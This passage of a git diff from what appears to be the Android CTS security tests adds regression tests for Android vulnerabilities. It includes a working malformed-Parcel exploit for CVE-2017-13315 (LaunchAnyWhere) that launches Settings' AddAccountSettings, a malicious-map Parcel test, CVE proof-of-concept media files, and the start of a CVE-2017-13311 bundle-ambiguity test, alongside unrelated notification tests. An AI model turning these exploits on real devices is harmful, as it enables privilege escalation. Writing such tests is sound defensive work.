+ {
+ return null;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
new file mode 100644
index 0000000..58d75b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
@@ -0,0 +1,30 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class AuthenticatorService extends Service {
+ protected static final String TAG = StartExploit.TAG;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Authenticator(this).getIBinder();
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
new file mode 100644
index 0000000..dc15e7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
@@ -0,0 +1,69 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13315 implements IGenerateMalformedParcel {
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("com.android.internal.telephony.DcParamObject");
+ data.writeInt(0);
+
+ data.writeInt(0);
+ data.writeInt(6);
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
new file mode 100644
index 0000000..bb473ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.content.Intent;
+import android.os.Parcel;
+
+public interface IGenerateMalformedParcel { Parcel generate(Intent i); }
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
new file mode 100644
index 0000000..2d439da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class StartExploit extends Activity {
+ protected static final String TAG = "LaunchAnyWhere";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ String exploitName = "com.android.security.cts.launchanywhere." +
+ getIntent().getStringExtra("cve");
+
+ String classAccessMessage = "Please ensure that the class is part of "
+ + "the com.android.security.cts.launchanywhere package";
+
+ try {
+ Authenticator.exploit =
+ (IGenerateMalformedParcel) Class.forName(exploitName)
+ .newInstance();
+ } catch (ClassNotFoundException e) {
+ Log.e(TAG, "Unable to load the class " + exploitName + "! " +
+ classAccessMessage);
+ e.printStackTrace();
+ return;
+ } catch (InstantiationException e) {
+ Log.e(TAG, "Unable to instantiate the exploit! " + exploitName);
+ e.printStackTrace();
+ return;
+ } catch (IllegalAccessException e) {
+ Log.e(TAG,
+ "Unable to access class " + exploitName + "! " +
+ classAccessMessage + " and is not private");
+ e.printStackTrace();
+ return;
+ }
+
+ Intent attacker = new Intent();
+ attacker.setComponent(new ComponentName(
+ "com.android.settings",
+ "com.android.settings.accounts.AddAccountSettings"));
+ attacker.setAction(Intent.ACTION_RUN);
+ attacker.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String authTypes[] = {"com.launchanywhere"};
+ attacker.putExtra("account_types", authTypes);
+ startActivity(attacker);
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 7b55bc8..dd96eac 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.notification.legacy.cts">
+ <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
<application>
@@ -30,6 +31,24 @@
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
+
+ <service android:name="android.app.notification.legacy.cts.LegacyConditionProviderService"
+ android:exported="true"
+ android:label="Legacy"
+ android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.ConditionProviderService" />
+ </intent-filter>
+ </service>
+
+ <service android:name="android.app.notification.legacy.cts.SecondaryConditionProviderService"
+ android:exported="true"
+ android:label="Secondary"
+ android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.ConditionProviderService" />
+ </intent-filter>
+ </service>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
new file mode 100644
index 0000000..7a172e5
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.service.notification.NotificationListenerService.INTERRUPTION_FILTER_PRIORITY;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.ActivityManager;
+import android.app.AutomaticZenRule;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.ArraySet;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@RunWith(AndroidJUnit4.class)
+public class ConditionProviderServiceTest {
+ private static String TAG = "CpsTest";
+
+ private NotificationManager mNm;
+ private ActivityManager mActivityManager;
+ private Context mContext;
+ private ArraySet<String> ids = new ArraySet<>();
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+ SecondaryConditionProviderService.requestRebind(SecondaryConditionProviderService.getId());
+ mNm = (NotificationManager) mContext.getSystemService(
+ Context.NOTIFICATION_SERVICE);
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ try {
+ for (String id : ids) {
+ if (id != null) {
+ if (!mNm.removeAutomaticZenRule(id)) {
+ throw new Exception("Could not remove rule " + id);
+ }
+
+ assertNull(mNm.getAutomaticZenRule(id));
+ }
+ }
+ } finally {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ pollForConnection(LegacyConditionProviderService.class, false);
+ pollForConnection(SecondaryConditionProviderService.class, false);
+ }
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_addsNewRule() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure service get bound
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ final ComponentName cn = SecondaryConditionProviderService.getId();
+
+ // add rule
+ addRule(cn, INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind service
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // add a new rule
+ addRule(cn, INTERRUPTION_FILTER_NONE, true);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_otherConditionChanges() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure both services get bound
+ pollForConnection(LegacyConditionProviderService.class, true);
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ // add rules for both
+ addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+ pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind one of the services
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // trigger a change in the bound service's condition
+ ((LegacyConditionProviderService) LegacyConditionProviderService.getInstance())
+ .toggleDND(false);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_otherProviderRuleChanges() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure both services get bound
+ pollForConnection(LegacyConditionProviderService.class, true);
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ // add rules for both
+ addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+ pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind one of the services
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // trigger a change in the bound service's rule
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, false);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ private void addRule(ComponentName cn, int filter, boolean enabled) {
+ String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
+ cn, Uri.EMPTY, filter, enabled));
+ Log.d(TAG, "Created rule with id " + id);
+ ids.add(id);
+ }
+
+ private void toggleNotificationPolicyAccess(String packageName,
+ Instrumentation instrumentation, boolean on) throws IOException {
+
+ String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+ runCommand(command, instrumentation);
+
+ NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+ Assert.assertEquals("Notification Policy Access Grant is " +
+ nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+ nm.isNotificationPolicyAccessGranted());
+ }
+
+ private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+ UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ // Execute command
+ try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+ Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ // Wait for the command to finish by reading until EOF
+ try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+ byte[] buffer = new byte[4096];
+ while (in.read(buffer) > 0) {}
+ } catch (IOException e) {
+ throw new IOException("Could not read stdout of command: " + command, e);
+ }
+ } finally {
+ uiAutomation.destroy();
+ }
+ }
+
+ private void pollForSubscribe(PollableConditionProviderService service) throws Exception {
+ int tries = 30;
+ int delayMs = 200;
+
+ while (tries-- > 0 && !service.subscribed) {
+ try {
+ Thread.sleep(delayMs);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (!service.subscribed) {
+ Log.d(TAG, "not subscribed");
+ throw new Exception("Service never got onSubscribe()");
+ }
+ }
+
+ private void pollForConnection(Class<? extends PollableConditionProviderService> service,
+ boolean waitForConnection) throws Exception {
+ int tries = 100;
+ int delayMs = 200;
+
+ PollableConditionProviderService instance =
+ (PollableConditionProviderService) service.getMethod("getInstance").invoke(null);
+
+ while (tries-- > 0 && (waitForConnection ? instance == null : instance != null)) {
+ try {
+ Thread.sleep(delayMs);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ instance = (PollableConditionProviderService) service.getMethod("getInstance")
+ .invoke(null);
+ }
+
+ if (waitForConnection && instance == null) {
+ Log.d(TAG, service.getName() + " not bound");
+ throw new Exception("CPS never bound");
+ } else if (!waitForConnection && instance != null) {
+ Log.d(TAG, service.getName() + " still bound");
+ throw new Exception("CPS still bound");
+ } else {
+ Log.d(TAG, service.getName() + " has a correct bind state");
+ }
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
new file mode 100644
index 0000000..72d5d3e
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+import android.service.notification.Condition;
+
+public class LegacyConditionProviderService extends PollableConditionProviderService {
+ private static PollableConditionProviderService sInstance = null;
+
+ public static ComponentName getId() {
+ return new ComponentName(LegacyConditionProviderService.class.getPackage().getName(),
+ LegacyConditionProviderService.class.getName());
+ }
+
+ public static PollableConditionProviderService getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public void onConnected() {
+ super.onConnected();
+ sInstance = this;
+ }
+
+ @Override
+ public void onDestroy() {
+ sInstance = null;
+ super.onDestroy();
+ }
+
+ public void toggleDND(boolean on) {
+ notifyCondition(
+ new Condition(conditionId, "", on ? Condition.STATE_TRUE : Condition.STATE_FALSE));
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 69103c8..528d66f 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -46,6 +46,7 @@
import junit.framework.Assert;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -79,6 +80,12 @@
mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
}
+ @After
+ public void tearDown() throws Exception {
+ toggleListenerAccess(MockNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ }
+
@Test
public void testPrePCannotToggleAlarmsAndMediaTest() throws Exception {
if (mActivityManager.isLowRamDevice()) {
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
new file mode 100644
index 0000000..226c96f
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.net.Uri;
+import android.service.notification.Condition;
+import android.service.notification.ConditionProviderService;
+import android.util.Log;
+
+public abstract class PollableConditionProviderService extends ConditionProviderService {
+ final static String TAG = "CtsCps";
+
+ boolean isConnected;
+ boolean subscribed;
+ Uri conditionId;
+
+ @Override
+ public void onConnected() {
+ Log.d(TAG, getClass().getName() + " Connected");
+ isConnected = true;
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, getClass().getName() + " Destroyed");
+ isConnected = false;
+ super.onDestroy();
+ }
+
+ @Override
+ public void onSubscribe(Uri conditionId) {
+ Log.d(TAG, getClass().getName() + " got subscribe");
+ subscribed = true;
+ this.conditionId = conditionId;
+ notifyCondition(new Condition(conditionId, "", Condition.STATE_TRUE));
+ }
+
+ @Override
+ public void onUnsubscribe(Uri conditionId) {
+ Log.d(TAG, getClass().getName() + " got unsubscribe");
+ subscribed = false;
+ this.conditionId = null;
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
new file mode 100644
index 0000000..2310a30
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+
+public class SecondaryConditionProviderService extends PollableConditionProviderService {
+ private static PollableConditionProviderService sInstance = null;
+
+ public static ComponentName getId() {
+ return new ComponentName(SecondaryConditionProviderService.class.getPackage().getName(),
+ SecondaryConditionProviderService.class.getName());
+ }
+
+ public static PollableConditionProviderService getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public void onConnected() {
+ super.onConnected();
+ sInstance = this;
+ }
+
+ @Override
+ public void onDestroy() {
+ sInstance = null;
+ super.onDestroy();
+ }
+
+}
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 7645477..3715850 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
import java.io.FileDescriptor;
import java.io.Serializable;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
import android.content.pm.Signature;
import android.os.BadParcelableException;
@@ -3250,4 +3254,58 @@
} catch (RuntimeException expected) {
}
}
+
+ public void testMaliciousMapWrite() {
+ class MaliciousMap<K, V> extends HashMap<K, V> {
+ public int fakeSize = 0;
+ public boolean armed = false;
+
+ class FakeEntrySet extends HashSet<Entry<K, V>> {
+ public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+ super(c);
+ }
+
+ @Override
+ public int size() {
+ if (armed) {
+ // Only return fake size on next call, to mitigate unexpected behavior.
+ armed = false;
+ return fakeSize;
+ } else {
+ return super.size();
+ }
+ }
+ }
+
+ @Override
+ public Set<Map.Entry<K, V>> entrySet() {
+ return new FakeEntrySet(super.entrySet());
+ }
+ }
+
+ Parcel parcel = Parcel.obtain();
+
+ // Fake having more Map entries than there really are
+ MaliciousMap map = new MaliciousMap<String, String>();
+ map.fakeSize = 1;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+
+ // Fake having fewer Map entries than there really are
+ map = new MaliciousMap<String, String>();
+ map.put("key", "value");
+ map.fakeSize = 0;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+ }
}
diff --git a/tests/tests/security/res/raw/bug_33250932_avc.mp4 b/tests/tests/security/res/raw/bug_33250932_avc.mp4
new file mode 100644
index 0000000..ff6ce03
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33250932_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37430213.mp4 b/tests/tests/security/res/raw/bug_37430213.mp4
new file mode 100644
index 0000000..618f620
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37430213.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
deleted file mode 100644
index 261e173..0000000
--- a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
deleted file mode 100644
index e8f1c41..0000000
--- a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
deleted file mode 100644
index ecc10cb..0000000
--- a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
deleted file mode 100644
index 34851ad..0000000
--- a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_70239507.aac b/tests/tests/security/res/raw/bug_70239507.aac
new file mode 100644
index 0000000..9132beb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_70239507.aac
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_74114680_ts.mp4 b/tests/tests/security/res/raw/bug_74114680_ts.mp4
new file mode 100644
index 0000000..10e20bd
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_74114680_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3756.ogg b/tests/tests/security/res/raw/cve_2016_3756.ogg
new file mode 100644
index 0000000..4f366b0
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3756.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3879.mp3 b/tests/tests/security/res/raw/cve_2016_3879.mp3
new file mode 100644
index 0000000..23ca4c3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3879.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18155.mp4 b/tests/tests/security/res/raw/cve_2017_18155.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18155.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9423.mp4 b/tests/tests/security/res/raw/cve_2018_9423.mp4
new file mode 100755
index 0000000..08e2387
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9423.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index dc74708..a5f03f8 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -34,116 +34,219 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
@SecurityTest
+ public void test_android_CVE_2017_13311() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ Parcel parcel = Parcel.obtain();
+
